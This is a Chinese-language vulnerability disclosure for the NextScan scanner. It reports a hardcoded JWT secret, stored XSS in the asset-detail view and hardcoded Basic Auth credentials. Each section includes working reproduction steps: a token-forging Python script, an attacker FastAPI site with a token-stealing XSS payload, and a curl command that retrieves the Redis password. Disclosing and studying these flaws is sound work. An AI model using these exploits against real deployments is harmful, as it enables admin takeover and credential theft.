NextScan 漏洞报告

软件名称:NextScan(飞刃)

开发者或厂商:同程旅行

代码仓库:https://github.com/tongcheng-security-team/NextScan

1. 管理端 JWT 密钥硬编码

简要描述:通过硬编码的 JWT 密钥,可伪造管理员令牌并调用管理端全部接口。
影响版本:1.1.0 ~ 1.2.0
前置条件:无

漏洞成因

管理端用 HS256 校验 X-Access-Token 请求头。签名密钥以字符串常量形式写在 ns-admin 二进制中,pkg/config 的配置结构里没有对应字段,conf.ini 也没有相关配置段,部署者无法通过配置文件或环境变量更换该密钥。

中间件验签通过后只从令牌中取出 id 与 roleIds,不检查用户是否存在,也不检查角色是否有效。相关逻辑位于 pkg/http/middleware 与 pkg/http/router.Auth。

因此,只要知道密钥,就可以构造一个 id 为任意值、roleIds 为系统超级管理员角色 ID 的令牌,并以管理员身份调用接口。

1.1.0、1.1.1、1.2.0 三个已发布镜像中的密钥相同,因此影响范围为 1.1.0 ~ 1.2.0。

复现环境搭建

实验环境用官方 compose 部署。官方 compose 中的 bitnami/etcd 与 minio/minio 镜像已无法拉取,这里换成 bitnamilegacy/etcd 与 bitnamilegacy/minio;createbuckets 依赖的 minio/mc 同样无法拉取,这里省略,不影响本文的复现。其余配置与官方一致:

services:
  redis:
    image: "redis:alpine"
    command: --requirepass "3d7a6447328dcde6"
    container_name: ns-redis
  mongo:
    image: "mongo:4.2.23"
    command: [--auth]
    environment:
      MONGO_INITDB_ROOT_USERNAME: root
      MONGO_INITDB_ROOT_PASSWORD: root
      MONGO_DATABASE: NextScan
      MONGO_USERNAME: NextScan
      MONGO_PASSWORD: 56074e26d5a39aad
    volumes:
      - ./mongo/init:/docker-entrypoint-initdb.d
      - ./mongo/data:/data/db
    container_name: ns-mongo
  etcd:
    image: "bitnamilegacy/etcd:3.5.6"
    environment:
      - ETCD_ROOT_PASSWORD=0117be99f79bf9e2
    container_name: ns-etcd
  minio:
    image: "bitnamilegacy/minio:2021.4.18"
    volumes:
      - ./minio/data:/data
    environment:
      MINIO_ACCESS_KEY: "vi75e"
      MINIO_SECRET_KEY: "hFimqbrlBE"
    command: server /data
    container_name: ns-minio
  web:
    image: "lysec/ns-admin:latest"
    ports:
      - "80:80"
    depends_on:
      - redis
      - mongo
      - etcd
      - minio
    container_name: ns-admin
  scan:
    image: "lysec/ns-scan:latest"
    depends_on:
      - web
    container_name: ns-scan
  craw:
    image: "lysec/ns-craw:latest"
    depends_on:
      - web
    container_name: ns-craw

mongo/init 取自官方仓库。启动后访问 http://127.0.0.1。

复现过程

从镜像中取出密钥:

$ docker run --rm --entrypoint sh lysec/ns-admin:v1.2.0 -c 'strings /next-scan/ns-admin | grep nscan_admin_api_jwt_secret_key'
nscan_admin_api_jwt_secret_key

用该密钥签发令牌并读取用户列表:

import httpx
import jwt

BASE = "http://127.0.0.1"
token = jwt.encode(
    {
        "exp": 1794062983,
        "id": "5db002504da8ad2e24d0052d",
        "orig_iat": 1793976583,
        "roleIds": "5e36ddf74da8ad2e24fb5f51",
    },
    "nscan_admin_api_jwt_secret_key",
    algorithm="HS256",
)
print(token)
headers = {"X-Access-Token": "ns-admin " + token}
print(httpx.get(BASE + "/v1/sys/user/list", headers=headers).text)

输出如下:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y
{"code":200,"message":"OK","result":[{"id":"5db002504da8ad2e24d0052d","username":"admin","realname":"管理员","workNo":"00001","avatar":"","sex":1,"phone":"18888888888","desc":"系统默认账户","createBy":"","updateBy":"","status":1,"email":"nextscan@163.com","source":"","updateTime":"2023-02-14T08:21:15.22Z","createTime":"2021-05-18T07:33:51.228Z"}],"success":true,"timestamp":1793976583830,"total":1}

在浏览器控制台写入令牌,然后打开首页:

localStorage.setItem('pro__Access-Token', JSON.stringify({value: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y', expire: null}));

进入用户管理可以看到管理员账号:

2. 资产详情存储型 XSS

简要描述:扫描器爬取攻击者控制的站点后,会把表单请求体写入资产库,用户打开资产详情时脚本被执行,攻击者借此接管受害者账号。
影响版本:1.1.0 ~ 1.2.0
前置条件:扫描任务的目标包含攻击者控制的站点

漏洞成因

爬虫在抓取页面时会提交页面中的表单,并把请求体原样写入 Asset_URL.data。管理端的 URL 资产详情弹窗用 domProps.innerHTML 渲染该字段,未做转义。相关代码如下:

// web/js/chunk-7371b739.7ed9f6ed.js
domProps:{innerHTML:e._s(e.form.data)}

同一弹窗还用 json-viewer 展示请求头,该组件把以 http:// 开头的字符串拼进 innerHTML,因此请求头的值同样可以注入脚本。相关代码如下:

// web/js/chunk-e9af1076.1c09d728.js
domProps=n?{innerHTML:'"'+(t='<a href="'+t+'" target="_blank" class="jv-link">'+t+"</a>").toString()+'"'}

1.1.0、1.1.1、1.2.0 三个已发布镜像的前端产物中,上述两处渲染逻辑相同。

复现环境搭建

管理端按第 1 节部署。另需一台扫描节点可以访问的主机运行攻击者站点,下文以 172.28.0.1 表示该主机地址,实际环境中替换为对应地址:

from fastapi import FastAPI
from fastapi.responses import HTMLResponse, PlainTextResponse

app = FastAPI()


@app.get('/xss-form', response_class=HTMLResponse)
def xss_form():
    return '''<html><body>
<form action="/submit" method="POST">
<input name="x" value="<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=&quot;document.body.innerText=localStorage.getItem('pro__Access-Token')&quot;>">
<input type="submit" value="send">
</form>
</body></html>'''


@app.post('/submit', response_class=HTMLResponse)
def submit():
    return '<html><body>ok</body></html>'


@app.get('/slow')
async def slow(ms: int = 5000):
    import asyncio
    await asyncio.sleep(ms / 1000)
    return PlainTextResponse('slow')

启动:

$ uvicorn attacker:app --host 0.0.0.0 --port 18899

复现过程

在管理端新建项目,目标填 http://172.28.0.1:18899/xss-form,开启爬虫,运行任务。爬虫提交表单后,请求体被写入资产库:

{"_id":{"$oid":"6aedf916844f93e35bb80381"},"url":"http://172.28.0.1:18899/submit","data":"x=<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=\"document.body.innerText=localStorage.getItem('pro__Access-Token')\">"}

爬虫会把请求体中的空格编码为 +,因此 payload 中不使用空格。

管理员打开 资产管理 的 url资产 页面,点击该条记录的 详情。弹窗把请求体当作 HTML 渲染,img 标签开始加载 slow 接口:

八秒后图片加载失败,onerror 执行,页面显示 localStorage 中的管理员令牌:

3. Agent 接口 Basic Auth 凭据硬编码

简要描述:Agent 接口使用硬编码的 Basic Auth 凭据,攻击者可直接读取节点配置,其中包含 Redis 口令。
影响版本:1.1.0 ~ 1.2.0
前置条件:无

漏洞成因

pkg/http/router.AuthAgent 用常量 nextagent 同时作为用户名和密码构造 gin.Accounts,pkg/http/router.AuthExternal 用常量 nEXtSCAnExTERNal 构造同样的账号。两处都没有配置项,部署者无法更换。

复现环境搭建

同第 1 节。

复现过程

请求节点配置:

$ curl -s -u nextagent:nextagent 'http://127.0.0.1/agent/config?group=2'

输出如下:

{
    "code": 200,
    "message": "OK",
    "result": {
        "Redis": {
            "Addr": "ns-redis:6379",
            "PoolSize": 10,
            "MinIdleConns": 3,
            "Password": "3d7a6447328dcde6"
        },
        "Etcd": {
            "endpoints": [
                "ns-etcd:2379"
            ],
            "auto-sync-interval": 0,
            "dial-timeout": 5000000000,
            "dial-keep-alive-time": 0,
            "dial-keep-alive-timeout": 0,
            "MaxCallSendMsgSize": 0,
            "MaxCallRecvMsgSize": 0,
            "TLS": null,
            "username": "",
            "password": "",
            "reject-old-cluster": false,
            "DialOptions": null,
            "Context": null,
            "Logger": null,
            "LogConfig": null,
            "permit-without-stream": false
        },
        "cookiePath": "/ns/cookie/global/",
        "ServerToken": "nextagent",
        "heartbeat": "@every 1m",
        "agentLeaseTTL": 70,
        "agentInfoPrefix": "/ns/agent/info/",
        "pluginPrefix": "/ns/plugin/",
        "payloadPrefix": "/ns/payload/",
        "scanConfigPrefix": "/ns/agent/config/",
        "weakPassCnt": 10
    }
}